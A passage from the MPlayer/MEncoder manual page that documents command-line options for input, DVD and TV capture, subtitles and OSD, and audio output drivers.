NOTE: This option is honored by codecs (AC-3 only), filters (surround) and audio output drivers (OSS at least).Available options are:

2
stereo
4
surround
6
full 5.1
-chapter <chapter ID>[-<endchapter ID>] (dvd:// and dvdnav:// only)
Specify which chapter to start playing at. Optionally specify which chapter to end playing at (default: 1).
-cookies (network only)
Send cookies when making HTTP requests.
-cookies-file <filename> (network only)
Read HTTP cookies from <filename> (default: ~/.mozilla/ and ~/.netscape/) and skip reading from default locations. The file is assumed to be in Netscape format.
-delay <sec>
audio delay in seconds (positive or negative float value)
Negative values delay the audio, and positive values delay the video. Note that this is the exact opposite of the -audio-delay MEncoder option.
NOTE: When used with MEncoder, this is not guaranteed to work correctly with -ovc copy; use -audio-delay instead.
-ignore-start
Ignore the specified starting time for streams in AVI files. In MPlayer, this nullifies stream delays in files encoded with the -audio-delay option. During encoding, this option prevents MEncoder from transferring original stream start times to the new file; the -audio-delay option is not affected. Note that MEncoder sometimes adjusts stream starting times automatically to compensate for anticipated decoding delays, so do not use this option for encoding without testing it first.
-demuxer <[+]name>
Force demuxer type. Use a ‘+’ before the name to force it, this will skip some checks! Give the demuxer name as printed by -demuxer help. For backward compatibility it also accepts the demuxer ID as defined in libmpdemux/:demuxer.h.
-dumpaudio (MPlayer only)
Dumps raw compressed audio stream to ./stream.dump (useful with MPEG/:AC-3, in most other cases the resulting file will not be playable). If you give more than one of -dumpaudio, -dumpvideo, -dumpstream on the command line only the last one will work.
-dumpfile <filename> (MPlayer only)
Specify which file MPlayer should dump to. Should be used together with -dumpaudio / -dumpvideo / -dumpstream.
-dumpstream (MPlayer only)
Dumps the raw stream to ./stream.dump. Useful when ripping from DVD or network. If you give more than one of -dumpaudio, -dumpvideo, -dumpstream on the command line only the last one will work.
-dumpvideo (MPlayer only)
Dump raw compressed video stream to ./stream.dump (not very usable). If you give more than one of -dumpaudio, -dumpvideo, -dumpstream on the command line only the last one will work.
-dvbin <options> (DVB only)
Pass the following parameters to the DVB input module, in order to override the default ones:

card=<1-4>
Specifies using card number 1-4 (default: 1).
file=<filename>
Instructs MPlayer to read the channels list from <filename>. Default is ~/.mplayer/:channels.conf.{sat,ter,cbl,atsc} (based on your card type) or ~/.mplayer/:channels.conf as a last resort.
timeout=<1-30>
Maximum number of seconds to wait when trying to tune a frequency before giving up (default: 30).
-dvd-device <path to device> (DVD only)
Specify the DVD device (default: /dev/:dvd). You can also specify a directory that contains files previously copied directly from a DVD (with e.g. vobcopy). Note that using -dumpstream is usually a better way to copy DVD titles in the first place (see the examples).
-dvd-speed <factor or speed in KB/s> (DVD only)
Try to limit DVD speed (default: 0, no change). DVD base speed is about 1350KB/s, so a 8x drive can read at speeds up to 10800KB/s. Slower speeds make the drive more quiet, for watching DVDs 2700KB/s should be quiet and fast enough. MPlayer resets the speed to the drive default value on close. Values less than 100 mean multiples of 1350KB/s, i.e. -dvd-speed 8 selects 10800KB/s.
NOTE: You need write access to the DVD device to change the speed.
-dvdangle <angle ID> (DVD only)
Some DVD discs contain scenes that can be viewed from multiple angles. Here you can tell MPlayer which angles to use (default: 1).
-edl <filename>
Enables edit decision list (EDL) actions during playback. Video will be skipped over and audio will be muted and unmuted according to the entries in the given file. See http://www.mplayerhq.hu/:DOCS/:HTML/:en/:edl.html for details on how to use this.
-endpos <[[hh:]mm:]ss[.ms]|size[b|kb|mb]> (also see -ss and -sb)
Stop at given time or byte position.
NOTE: Byte position is enabled only for MEncoder and will not be accurate, as it can only stop at a frame boundary. When used in conjunction with -ss option, -endpos time will shift forward by seconds specified with -ss.EXAMPLE:

-endpos 56
Stop at 56 seconds.
-endpos 01:10:00
Stop at 1 hour 10 minutes.
-ss 10 -endpos 56
Stop at 1 minute 6 seconds.
-endpos 100mb
Encode only 100 MB.
-forceidx
Force index rebuilding. Useful for files with broken index (A/V desync, etc). This will enable seeking in files where seeking was not possible. You can fix the index permanently with MEncoder (see the documentation).
NOTE: This option only works if the underlying media supports seeking (i.e. not with stdin, pipe, etc).
-fps <float value>
Override video framerate. Useful if the original value is wrong or missing.
-frames <number>
Play/:convert only first <number> frames, then quit.
-hr-mp3-seek (MP3 only)
Hi-res MP3 seeking. Enabled when playing from an external MP3 file, as we need to seek to the very exact position to keep A/V sync. Can be slow especially when seeking backwards since it has to rewind to the beginning to find an exact frame position.
-idx (also see -forceidx)
Rebuilds index of files if no index was found, allowing seeking. Useful with broken/:incomplete downloads, or badly created files.
NOTE: This option only works if the underlying media supports seeking (i.e. not with stdin, pipe, etc).
-noidx
Skip rebuilding index file. MEncoder skips writing the index with this option.
-ipv4-only-proxy (network only)
Skip the proxy for IPv6 addresses. It will still be used for IPv4 connections.
-loadidx <index file>
The file from which to read the video index data saved by -saveidx. This index will be used for seeking, overriding any index data contained in the AVI itself. MPlayer will not prevent you from loading an index file generated from a different AVI, but this is sure to cause unfavorable results.
NOTE: This option is obsolete now that MPlayer has OpenDML support.
-mc <seconds/frame>
maximum A-V sync correction per frame (in seconds)
-mf <option1:option2:…>
Used when decoding from multiple PNG or JPEG files.Available options are:

w=<value>
input file width (default: autodetect)
h=<value>
input file height (default: autodetect)
fps=<value>
output fps (default: 25)
type=<value>
input file type (available: jpeg, png, tga, sgi)
-ni (AVI only)
Force usage of non-interleaved AVI parser (fixes playback of some bad AVI files).
-nobps (AVI only)
Do not use average byte/:second value for A-V sync. Helps with some AVI files with broken header.
-noextbased
Disables extension-based demuxer selection. By default, when the file type (demuxer) cannot be detected reliably (the file has no header or it is not reliable enough), the filename extension is used to select the demuxer. Always falls back on content-based demuxer selection.
-passwd <password> (also see -user) (network only)
Specify password for HTTP authentication.
-prefer-ipv4 (network only)
Use IPv4 on network connections. Falls back on IPv6 automatically.
-prefer-ipv6 (IPv6 network only)
Use IPv6 on network connections. Falls back on IPv4 automatically.
-psprobe <byte position>
When playing an MPEG-PS stream, this option lets you specify how many bytes in the stream you want MPlayer to scan in order to identify the video codec used. This option is needed to play EVO files containing H.264 streams.
-pvr <option1:option2:…> (PVR only)
This option tunes various encoding properties of the PVR capture module. It has to be used with any hardware MPEG encoder based card supported by the V4L2 driver. The Hauppauge WinTV PVR-150/250/350/500 and all IVTV based cards are known as PVR capture cards. Be aware that only Linux 2.6.18 kernel and above is able to handle MPEG stream through V4L2 layer. For hardware capture of an MPEG stream and watching it with MPlayer/MEncoder, use ‘pvr://’ as a movie URL.Available options are:

aspect=<0-3>
Specify input aspect ratio:

0: 1:1
1: 4:3 (default)
2: 16:9
3: 2.21:1
arate=<32000-48000>
Specify encoding audio rate (default: 48000 Hz, available: 32000, 44100 and 48000 Hz).
alayer=<1-3>
Specify MPEG audio layer encoding (default: 2).
abitrate=<32-448>
Specify audio encoding bitrate in kbps (default: 384).
amode=<value>
Specify audio encoding mode. Available preset values are ‘stereo’, ‘joint_stereo’, ‘dual’ and ‘mono’ (default: stereo).
vbitrate=<value>
Specify average video bitrate encoding in Mbps (default: 6).
vmode=<value>
Specify video encoding mode:

vbr: Variable BitRate (default)
cbr: Constant BitRate
vpeak=<value>
Specify peak video bitrate encoding in Mbps (only useful for VBR encoding, default: 9.6).
fmt=<value>
Choose an MPEG format for encoding:

ps: MPEG-2 Program Stream (default)
ts: MPEG-2 Transport Stream
mpeg1: MPEG-1 System Stream
vcd: Video CD compatible stream
svcd: Super Video CD compatible stream
dvd: DVD compatible stream
-radio <option1:option2:…> (radio only)
These options set various parameters of the radio capture module. For listening to radio with MPlayer use ‘radio://<frequency>’ (if channels option is not given) or ‘radio://<channel_number>’ (if channels option is given) as a movie URL. You can see allowed frequency range by running MPlayer with ‘-v’. To start the grabbing subsystem, use ‘radio://<frequency or channel>/capture’. If the capture keyword is not given you can listen to radio using the line-in cable only. Using capture to listen is not recommended due to synchronization problems, which makes this process uncomfortable.Available options are:

device=<value>
Radio device to use (default: /dev/radio0 for Linux and /dev/tuner0 for *BSD).
driver=<value>
Radio driver to use (default: v4l2 if available, otherwise v4l). Currently, v4l and v4l2 drivers are supported.
volume=<0..100>
sound volume for radio device (default 100)
freq_min=<value> (*BSD BT848 only)
minimum allowed frequency (default: 87.50)
freq_max=<value> (*BSD BT848 only)
maximum allowed frequency (default: 108.00)
channels=<frequency>-<name>,<frequency>-<name>,…
Set channel list. Use _ for spaces in names (or play with quoting ;-). The channel names will then be written using OSD and the slave commands radio_step_channel and radio_set_channel will be usable for a remote control (see LIRC). If given, number in movie URL will be treated as channel position in channel list.
EXAMPLE: radio://1, radio://104.4, radio_set_channel 1
adevice=<value> (radio capture only)
Name of device to capture sound from. Without such a name capture will be disabled, even if the capture keyword appears in the URL. For ALSA devices use it in the form hw=<card>.<device>. If the device name contains a ‘=’, the module will use ALSA to capture, otherwise OSS.
arate=<value> (radio capture only)
Rate in samples per second (default: 44100).
NOTE: When using audio capture set also -rawaudio rate=<value> option with the same value as arate. If you have problems with sound speed (runs too quickly), try to play with different rate values (e.g. 48000,44100,32000,…).
achannels=<value> (radio capture only)
Number of audio channels to capture.
-rawaudio <option1:option2:…>
This option lets you play raw audio files. You have to use -demuxer rawaudio as well. It may also be used to play audio CDs which are not 44kHz 16-bit stereo. For playing raw AC-3 streams use -rawaudio format=0x2000 -demuxer rawaudio.Available options are:

channels=<value>
number of channels
rate=<value>
rate in samples per second
samplesize=<value>
sample size in bytes
bitrate=<value>
bitrate for rawaudio files
format=<value>
fourcc in hex
-rawvideo <option1:option2:…>
This option lets you play raw video files. You have to use -demuxer rawvideo as well.Available options are:

fps=<value>
rate in frames per second (default: 25.0)
sqcif|qcif|cif|4cif|pal|ntsc
set standard image size
w=<value>
image width in pixels
h=<value>
image height in pixels
i420|yv12|yuy2|y8
set colorspace
format=<value>
colorspace (fourcc) in hex or string constant. Use -rawvideo format=help for a list of possible strings.
size=<value>
frame size in Bytes
EXAMPLE:
mplayer foreman.qcif -demuxer rawvideo -rawvideo qcif
Play the famous “foreman” sample video.
mplayer sample-720×576.yuv -demuxer rawvideo -rawvideo w=720:h=576
Play a raw YUV sample.
-rtsp-port
Used with ‘rtsp://’ URLs to force the client’s port number. This option may be useful if you are behind a router and want to forward the RTSP stream from the server to a specific client.
-rtsp-destination
Used with ‘rtsp://’ URLs to force the destination IP address to be bound. This option may be useful with some RTSP server which do not send RTP packets to the right interface. If the connection to the RTSP server fails, use -v to see which IP address MPlayer tries to bind to and try to force it to one assigned to your computer instead.
-rtsp-stream-over-tcp (LIVE555 and NEMESI only)
Used with ‘rtsp://&#8217; URLs to specify that the resulting incoming RTP and RTCP packets be streamed over TCP (using the same TCP connection as RTSP). This option may be useful if you have a broken internet connection that does not pass incoming UDP packets (see http://www.live555.com/:mplayer/).
-saveidx <filename>
Force index rebuilding and dump the index to <filename>. Currently this only works with AVI files.
NOTE: This option is obsolete now that MPlayer has OpenDML support.
-sb <byte position> (also see -ss)
Seek to byte position. Useful for playback from CD-ROM images or VOB files with junk at the beginning.
-speed <0.01-100>
Slow down or speed up playback by the factor given as parameter. Not guaranteed to work correctly with -oac copy.
-srate <Hz>
Selects the output sample rate to be used (of course sound cards have limits on this). If the sample frequency selected is different from that of the current media, the resample or lavcresample audio filter will be inserted into the audio filter layer to compensate for the difference. The type of resampling can be controlled by the -af-adv option. The default is fast resampling that may cause distortion.
-ss <time> (also see -sb)
Seek to given time position.EXAMPLE:

-ss 56
Seeks to 56 seconds.
-ss 01:10:00
Seeks to 1 hour 10 min.
-tskeepbroken
Tells MPlayer not to discard TS packets reported as broken in the stream. Sometimes needed to play corrupted MPEG-TS files.
-tsprobe <byte position>
When playing an MPEG-TS stream, this option lets you specify how many bytes in the stream you want MPlayer to search for the desired audio and video IDs.
-tsprog <1-65534>
When playing an MPEG-TS stream, you can specify with this option which program (if present) you want to play. Can be used with -vid and -aid.
-tv <option1:option2:…> (TV/:PVR only)
This option tunes various properties of the TV capture module. For watching TV with MPlayer, use ‘tv://’ or ‘tv://<channel_number>’ or even ‘tv://<channel_name> (see option channels for channel_name below) as a movie URL. You can also use ‘tv:///<input_id>’ to start watching a movie from a composite or S-Video input (see option input for details).Available options are:

noaudio
no sound
automute=<0-255> (v4l and v4l2 only)
If signal strength reported by device is less than this value, audio and video will be muted. In most cases automute=100 will be enough. Default is 0 (automute disabled).
driver=<value>
See -tv driver=help for a list of compiled-in TV input drivers. available: dummy, v4l, v4l2, bsdbt848 (default: autodetect)
device=<value>
Specify TV device (default: /dev/:video0). NOTE: For the bsdbt848 driver you can provide both bktr and tuner device names separating them with a comma, tuner after bktr (e.g. -tv device=/dev/bktr1,/dev/tuner1).
input=<value>
Specify input (default: 0 (TV), see console output for available inputs).
freq=<value>
Specify the frequency to set the tuner to (e.g. 511.250). Not compatible with the channels parameter.
outfmt=<value>
Specify the output format of the tuner with a preset value supported by the V4L driver (yv12, rgb32, rgb24, rgb16, rgb15, uyvy, yuy2, i420) or an arbitrary format given as hex value. Try outfmt=help for a list of all available formats.
width=<value>
output window width
height=<value>
output window height
fps=<value>
framerate at which to capture video (frames per second)
buffersize=<value>
maximum size of the capture buffer in megabytes (default: dynamical)
norm=<value>
For bsdbt848 and v4l, PAL, SECAM, NTSC are available. For v4l2, see the console output for a list of all available norms, also see the normid option below.
normid=<value> (v4l2 only)
Sets the TV norm to the given numeric ID. The TV norm depends on the capture card. See the console output for a list of available TV norms.
channel=<value>
Set tuner to <value> channel.
chanlist=<value>
available: europe-east, europe-west, us-bcast, us-cable, etc
channels=<channel>-<name>,<channel>-<name>,…
Set names for channels. NOTE: If <channel> is an integer greater than 1000, it will be treated as frequency (in kHz) rather than channel name from frequency table.
Use _ for spaces in names (or play with quoting ;-). The channel names will then be written using OSD, and the slave commands tv_step_channel, tv_set_channel and tv_last_channel will be usable for a remote control (see LIRC). Not compatible with the frequency parameter.
NOTE: The channel number will then be the position in the ‘channels’ list, beginning with 1.
EXAMPLE: tv://1, tv://TV1, tv_set_channel 1, tv_set_channel TV1
[brightness|contrast|hue|saturation]=<-100-100>
Set the image equalizer on the card.
audiorate=<value>
Set audio capture bitrate.
forceaudio
Capture audio even if there are no audio sources reported by v4l.
alsa 
Capture from ALSA.
amode=<0-3>
Choose an audio mode:

0: mono
1: stereo
2: language 1
3: language 2
forcechan=<1-2>
By default, the count of recorded audio channels is determined automatically by querying the audio mode from the TV card. This option allows forcing stereo/:mono recording regardless of the amode option and the values returned by v4l. This can be used for troubleshooting when the TV card is unable to report the current audio mode.
adevice=<value>
Set an audio device. <value> should be /dev/:xxx for OSS and a hardware ID for ALSA. You must replace any ‘:’ by a ‘.’ in the hardware ID for ALSA.
audioid=<value>
Choose an audio output of the capture card, if it has more than one.
[volume|bass|treble|balance]=<0-65535> (v4l1)
[volume|bass|treble|balance]=<0-100> (v4l2)
These options set parameters of the mixer on the video capture card. They will have no effect, if your card does not have one. For v4l2 50 maps to the default value of the control, as reported by the driver.
gain=<0-100> (v4l2)
Set gain control for video devices (usually webcams) to the desired value and switch off automatic control. A value of 0 enables automatic control. If this option is omitted, gain control will not be modified.
immediatemode=<bool>
A value of 0 means capture and buffer audio and video together (default for MEncoder). A value of 1 (default for MPlayer) means to do video capture only and let the audio go through a loopback cable from the TV card to the sound card.
mjpeg
Use hardware MJPEG compression (if the card supports it). When using this option, you do not need to specify the width and height of the output window, because MPlayer will determine it automatically from the decimation value (see below).
decimation=<1|2|4>
choose the size of the picture that will be compressed by hardware MJPEG compression:

1: full size
704×576    PAL
704×480    NTSC
2: medium size
352×288    PAL
352×240    NTSC
4: small size
176×144    PAL
176×120    NTSC
quality=<0-100>
Choose the quality of the JPEG compression (< 60 recommended for full size).
tdevice=<value>
Specify TV teletext device (example: /dev/:vbi0) (default: none).
tformat=<format>
Specify TV teletext display format (default: 0):

0: opaque
1: transparent
2: opaque with inverted colors
3: transparent with inverted colors
tpage=<100-899>
Specify initial TV teletext page number (default: 100).
tlang=<-1-127>
Specify default teletext language code (default: 0), which will be used as primary language until a type 28 packet is received. Useful when the teletext system uses a non-latin character set, but language codes are not transmitted via teletext type 28 packets for some reason. To see a list of supported language codes set this option to -1.
-tvscan <option1:option2:…> (TV and MPlayer only)
Tune the TV channel scanner. MPlayer will also print value for “-tv channels=” option, including existing and just found channels.Available suboptions are:

autostart
Begin channel scanning immediately after startup (default: disabled).
period=<0.1-2.0>
Specify delay in seconds before switching to next channel (default: 0.5). Lower values will cause faster scanning, but can detect inactive TV channels as active.
threshold=<1-100>
Threshold value for the signal strength (in percent), as reported by the device (default: 50). A signal strength higher than this value will indicate that the currently scanning channel is active.
-user <username> (also see -passwd) (network only)
Specify username for HTTP authentication.
-user-agent <string>
Use <string> as user agent for HTTP streaming.
-vid <ID>
Select video channel (MPG: 0-15, ASF: 0-255, MPEG-TS: 17-8190). When playing an MPEG-TS stream, MPlayer/:MEncoder will use the first program (if present) with the chosen video stream.
-vivo <suboption> (DEBUG CODE)
Force audio parameters for the VIVO demuxer (for debugging purposes). FIXME: Document this.

OSD/SUBTITLE OPTIONS

NOTE: Also see -vf expand.

-ass (FreeType only)
Turn on SSA/ASS subtitle rendering. With this option, libass will be used for SSA/ASS external subtitles and Matroska tracks. You may also want to use -embeddedfonts.
-ass-border-color <value>
Sets the border (outline) color for text subtitles. The color format is RRGGBBAA.
-ass-bottom-margin <value>
Adds a black band at the bottom of the frame. The SSA/ASS renderer can place subtitles there (with -ass-use-margins).
-ass-color <value>
Sets the color for text subtitles. The color format is RRGGBBAA.
-ass-font-scale <value>
Set the scale coefficient to be used for fonts in the SSA/ASS renderer.
-ass-force-style <[Style.]Param=Value[,…]>
Override some style parameters.EXAMPLE:

-ass-force-style FontName=Arial,Default.Bold=1
-ass-hinting <type>
Set hinting type.

<type>
0: No hinting.
1: FreeType autohinter, light mode.
2: FreeType autohinter, normal mode.
3: Font native hinter.
0-3 + 4: The same, but hinting will only be performed if OSD is rendered at screen resolution and, therefore, will not be scaled.
The default value is 7 (use native hinter for unscaled OSD and no hinting otherwise).
-ass-line-spacing <value>
Set line spacing value for SSA/ASS renderer.
-ass-styles <filename>
Load all SSA/ASS styles found in the specified file and use them for rendering text subtitles. The syntax of the file is exactly like the [V4 Styles] / [V4+ Styles] section of SSA/ASS.
-ass-top-margin <value>
Adds a black band at the top of the frame. The SSA/ASS renderer can place toptitles there (with -ass-use-margins).
-ass-use-margins
Enables placing toptitles and subtitles in black borders when they are available.
-dumpjacosub (MPlayer only)
Convert the given subtitle (specified with the -sub option) to the time-based JACOsub subtitle format. Creates a dumpsub.js file in the current directory.
-dumpmicrodvdsub (MPlayer only)
Convert the given subtitle (specified with the -sub option) to the MicroDVD subtitle format. Creates a dumpsub.sub file in the current directory.
-dumpmpsub (MPlayer only)
Convert the given subtitle (specified with the -sub option) to MPlayer’s subtitle format, MPsub. Creates a dump.mpsub file in the current directory.
-dumpsami (MPlayer only)
Convert the given subtitle (specified with the -sub option) to the time-based SAMI subtitle format. Creates a dumpsub.smi file in the current directory.
-dumpsrtsub (MPlayer only)
Convert the given subtitle (specified with the -sub option) to the time-based SubViewer (SRT) subtitle format. Creates a dumpsub.srt file in the current directory.
NOTE: Some broken hardware players choke on SRT subtitle files with Unix line endings. If you are unlucky enough to have such a box, pass your subtitle files through unix2dos or a similar program to replace Unix line endings with DOS/Windows line endings.
-dumpsub (MPlayer only) (BETA CODE)
Dumps the subtitle substream from VOB streams. Also see the -dump*sub and -vobsubout* options.
-embeddedfonts (FreeType only)
Enables extraction of Matroska embedded fonts (default: disabled). These fonts can be used for SSA/ASS subtitle rendering (-ass option). Font files are created in the ~/.mplayer/:fonts directory.
NOTE: With FontConfig 2.4.2 or newer, embedded fonts are opened directly from memory, and this option is enabled by default.
-ffactor <number>
Resample the font alphamap. Can be:

0
plain white fonts
0.75
very narrow black outline (default)
1
narrow black outline
10
bold black outline
-flip-hebrew (FriBiDi only)
Turns on flipping subtitles using FriBiDi.
-noflip-hebrew-commas
Change FriBiDi’s assumptions about the placements of commas in subtitles. Use this if commas in subtitles are shown at the start of a sentence instead of at the end.
-font <path to font.desc file>
Search for the OSD/:SUB fonts in an alternative directory (default for normal fonts: ~/:.mplayer/:font/:font.desc, default for FreeType fonts: ~/.mplayer/:subfont.ttf).
NOTE: With FreeType, this option determines the path to the text font file. With fontconfig, this option determines the fontconfig font name.EXAMPLE:

-font ~/:.mplayer/:arial-14/:font.desc
-font ~/:.mplayer/:arialuni.ttf
-font ‘Bitstream Vera Sans’
-fontconfig (fontconfig only)
Enables the usage of fontconfig managed fonts.
-forcedsubsonly
Display only forced subtitles for the DVD subtitle stream selected by e.g. -slang.
-fribidi-charset <charset name> (FriBiDi only)
Specifies the character set that will be passed to FriBiDi when decoding non-UTF-8 subtitles (default: ISO8859-8).
-ifo <VOBsub IFO file>
Indicate the file that will be used to load palette and frame size for VOBsub subtitles.
-noautosub
Turns off automatic subtitle file loading.
-osd-duration <time>
Set the duration of the OSD messages in ms (default: 1000).
-osdlevel <0-3> (MPlayer only)
Specifies which mode the OSD should start in.

0
subtitles only
1
volume + seek (default)
2
volume + seek + timer + percentage
3
volume + seek + timer + percentage + total time
-overlapsub
Allows the next subtitle to be displayed while the current one is still visible (default is to enable the support only for specific formats).
-sid <ID> (also see -slang, -vobsubid)
Display the subtitle stream specified by <ID> (0-31). MPlayer prints the available subtitle IDs when run in verbose (-v) mode. If you cannot select one of the subtitles on a DVD, also try -vobsubid.
-slang <language code[,language code,…]> (also see -sid)
Specify a priority list of subtitle languages to use. Different container formats employ different language codes. DVDs use ISO 639-1 two letter language codes, Matroska uses ISO 639-2 three letter language codes while OGM uses a free-form identifier. MPlayer prints the available languages when run in verbose (-v) mode.EXAMPLE:

mplayer dvd://1 -slang hu,en
Chooses the Hungarian subtitle track on a DVD and falls back on English if Hungarian is not available.
mplayer -slang jpn example.mkv
Plays a Matroska file with Japanese subtitles.
-spuaa <mode>
Antialiasing/:scaling mode for DVD/:VOBsub. A value of 16 may be added to <mode> in order to force scaling even when original and scaled frame size already match. This can be employed to e.g. smooth subtitles with gaussian blur. Available modes are:

0
none (fastest, very ugly)
1
approximate (broken?)
2
full (slow)
3
bilinear (default, fast and not too bad)
4
uses swscaler gaussian blur (looks very good)
-spualign <-1-2>
Specify how SPU (DVD/:VOBsub) subtitles should be aligned.

-1
original position
0
Align at top (original behavior, default).
1
Align at center.
2
Align at bottom.
-spugauss <0.0-3.0>
Variance parameter of gaussian used by -spuaa 4. Higher means more blur (default: 1.0).
-sub <subtitlefile1,subtitlefile2,…>
Use/:display these subtitle files. Only one file can be displayed at the same time.
-sub-bg-alpha <0-255>
Specify the alpha channel value for subtitles and OSD backgrounds. Big values mean more transparency. 0 means completely transparent.
-sub-bg-color <0-255>
Specify the color value for subtitles and OSD backgrounds. Currently subtitles are grayscale so this value is equivalent to the intensity of the color. 255 means white and 0 black.
-sub-demuxer <[+]name> (-subfile only) (BETA CODE)
Force subtitle demuxer type for -subfile. Use a ‘+’ before the name to force it, this will skip some checks! Give the demuxer name as printed by -sub-demuxer help. For backward compatibility it also accepts the demuxer ID as defined in subreader.h.
-sub-fuzziness <mode>
Adjust matching fuzziness when searching for subtitles:

0
exact match
1
Load all subs containing movie name.
2
Load all subs in the current directory.
-sub-no-text-pp
Disables any kind of text post processing done after loading the subtitles. Used for debug purposes.
-subalign <0-2>
Specify which edge of the subtitles should be aligned at the height given by -subpos.

0
Align subtitle top edge (original behavior).
1
Align subtitle center.
2
Align subtitle bottom edge (default).
-subcc  
Display DVD Closed Caption (CC) subtitles. These are not the VOB subtitles, these are special ASCII subtitles for the hearing impaired encoded in the VOB userdata stream on most region 1 DVDs. CC subtitles have not been spotted on DVDs from other regions so far.
-subcp <codepage> (iconv only)
If your system supports iconv(3), you can use this option to specify the subtitle codepage.EXAMPLE:

-subcp latin2
-subcp cp1250
-subcp enca:<language>:<fallback codepage> (ENCA only)
You can specify your language using a two letter language code to make ENCA detect the codepage automatically. If unsure, enter anything and watch mplayer -v output for available languages. Fallback codepage specifies the codepage to use, when autodetection fails.EXAMPLE:

-subcp enca:cs:latin2
Guess the encoding, assuming the subtitles are Czech, fall back on latin 2, if the detection fails.
-subcp enca:pl:cp1250
Guess the encoding for Polish, fall back on cp1250.
-subdelay <sec>
Delays subtitles by <sec> seconds. Can be negative.
-subfile <filename> (BETA CODE)
Currently useless. Same as -audiofile, but for subtitle streams (OggDS?).
-subfont <filename> (FreeType only)
Sets the subtitle font. If no -subfont is given, -font is used.
-subfont-autoscale <0-3> (FreeType only)
Sets the autoscale mode.
NOTE: 0 means that text scale and OSD scale are font heights in points.The mode can be:

0
no autoscale
1
proportional to movie height
2
proportional to movie width
3
proportional to movie diagonal (default)
-subfont-blur <0-8> (FreeType only)
Sets the font blur radius (default: 2).
-subfont-encoding <value> (FreeType only)
Sets the font encoding. When set to ‘unicode’, all the glyphs from the font file will be rendered and unicode will be used (default: unicode).
-subfont-osd-scale <0-100> (FreeType only)
Sets the autoscale coefficient of the OSD elements (default: 6).
-subfont-outline <0-8> (FreeType only)
Sets the font outline thickness (default: 2).
-subfont-text-scale <0-100> (FreeType only)
Sets the subtitle text autoscale coefficient as percentage of the screen size (default: 5).
-subfps <rate>
Specify the framerate of the subtitle file (default: movie fps).
NOTE: <rate> > movie fps speeds the subtitles up for frame-based subtitle files and slows them down for time-based ones.
-subpos <0-100> (useful with -vf expand)
Specify the position of subtitles on the screen. The value is the vertical position of the subtitle in % of the screen height.
-subwidth <10-100>
Specify the maximum width of subtitles on the screen. Useful for TV-out. The value is the width of the subtitle in % of the screen width.
-noterm-osd
Disable the display of OSD messages on the console when no video output is available.
-term-osd-esc <escape sequence>
Specify the escape sequence to use before writing an OSD message on the console. The escape sequence should move the pointer to the beginning of the line used for the OSD and clear it (default: ^[[A\r^[[K).
-unicode
Tells MPlayer to handle the subtitle file as unicode.
-utf8   
Tells MPlayer to handle the subtitle file as UTF-8.
-vobsub <VOBsub file without extension>
Specify a VOBsub file to use for subtitles. Has to be the full pathname without extension, i.e. without the ‘.idx’, ‘.ifo’ or ‘.sub’.
-vobsubid <0-31>
Specify the VOBsub subtitle ID.

AUDIO OUTPUT OPTIONS (MPLAYER ONLY)

-abs <value> (-ao oss only) (OBSOLETE)
Override audio driver/:card buffer size detection.
-format <format> (also see the format audio filter)
Select the sample format used for output from the audio filter layer to the sound card. The values that <format> can adopt are listed below in the description of the format audio filter.
-mixer <device>
Use a mixer device different from the default /dev/:mixer. For ALSA this is the mixer name.
-mixer-channel <mixer line>[,mixer index] (-ao oss and -ao alsa only)
This option will tell MPlayer to use a different channel for controlling volume than the default PCM. Options for OSS include vol, pcm, line. For a complete list of options look for SOUND_DEVICE_NAMES in /usr/:include/:linux/:soundcard.h. For ALSA you can use the names e.g. alsamixer displays, like Master, Line, PCM.
NOTE: ALSA mixer channel names followed by a number must be specified in the <name,number> format, i.e. a channel labeled ‘PCM 1’ in alsamixer must be converted to PCM,1.
-softvol
Force the use of the software mixer, instead of using the sound card mixer.
-softvol-max <10.0-10000.0>
Set the maximum amplification level in percent (default: 110). A value of 200 will allow you to adjust the volume up to a maximum of double the current level. With values below 100 the initial volume (which is 100%) will be above the maximum, which e.g. the OSD cannot display correctly.
-volstep <0-100>
Set the step size of mixer volume changes in percent of the whole range (default: 3).

AUDIO OUTPUT DRIVERS (MPLAYER ONLY)

Audio output drivers are interfaces to different audio output facilities. The syntax is:

-ao <driver1[:suboption1[=value]:…],driver2,…[,]>
Specify a priority list of audio output drivers to be used.

If the list has a trailing ‘,’ MPlayer will fall back on drivers not contained in the list. Suboptions are optional and can mostly be omitted.
NOTE: See -ao help for a list of compiled-in audio output drivers.

EXAMPLE:

-ao alsa,oss,
Try the ALSA driver, then the OSS driver, then others.
-ao alsa:noblock:device=hw=0.3
Sets noblock-mode and the device-name as first card, fourth device.

Available audio output drivers are:

alsa   
ALSA 0.9/1.x audio output driver

noblock
Sets noblock-mode.
device=<device>
Sets the device name. Replace any ‘,’ with ‘.’ and any ‘:’ with ‘=’ in the ALSA device name. For hwac3 output via S/PDIF, use an “iec958” or “spdif” device, unless you really know how to set it correctly.
alsa5  
ALSA 0.5 audio output driver
oss    
OSS audio output driver

<dsp-device>
Sets the audio output device (default: /dev/:dsp).
<mixer-device>
Sets the audio mixer device (default: /dev/:mixer).
<mixer-channel>
Sets the audio mixer channel (default: pcm).
sdl (SDL only)
highly platform independent SDL (Simple Directmedia Layer) library audio output driver

<driver>
Explicitly choose the SDL audio driver to use (default: let SDL choose).
arts   
audio output through the aRts daemon
esd    
audio output through the ESD daemon

<server>
Explicitly choose the ESD server to use (default: localhost).
jack    
audio output through JACK (Jack Audio Connection Kit)

port=<name>
Connects to the ports with the given name (default: physical ports).
name=<client
Client name that is passed to JACK (default: MPlayer [<PID>]). Useful if you want to have certain connections established automatically.
(no)estimate
Estimate the audio delay, supposed to make the video playback smoother (default: enabled).
nas    
audio output through NAS
macosx (Mac OS X only)
native Mac OS X audio output driver
openal
Experimental, unfinished (will downmix to mono) OpenAL audio output driver
sgi (SGI only)
native SGI audio output driver

<output device name>
Explicitly choose the output device/:interface to use (default: system-wide default). For example, ‘Analog Out’ or ‘Digital Out’.
sun (Sun only)
native Sun audio output driver

<device>
Explicitly choose the audio device to use (default: /dev/:audio).
win32 (Windows only)
native Windows waveout audio output driver
dsound (Windows only)
DirectX DirectSound audio output driver

device=<devicenum>
Sets the device number to use. Playing a file with -v will show a list of available devices.
dxr2 (also see -dxr2) (DXR2 only)
Creative DXR2 specific output driver
ivtv (IVTV only)
IVTV specific MPEG audio output driver. Works with -ac hwmpa only.
v4l2 (requires Linux 2.6.22+ kernel)
Audio output driver for V4L2 cards with hardware MPEG decoder.
mpegpes (DVB only)
Audio output driver for DVB cards that writes the output to an MPEG-PES file if no DVB card is installed.

card=<1-4>
DVB card to use if more than one card is present.
file=<filename>
output filename
null   
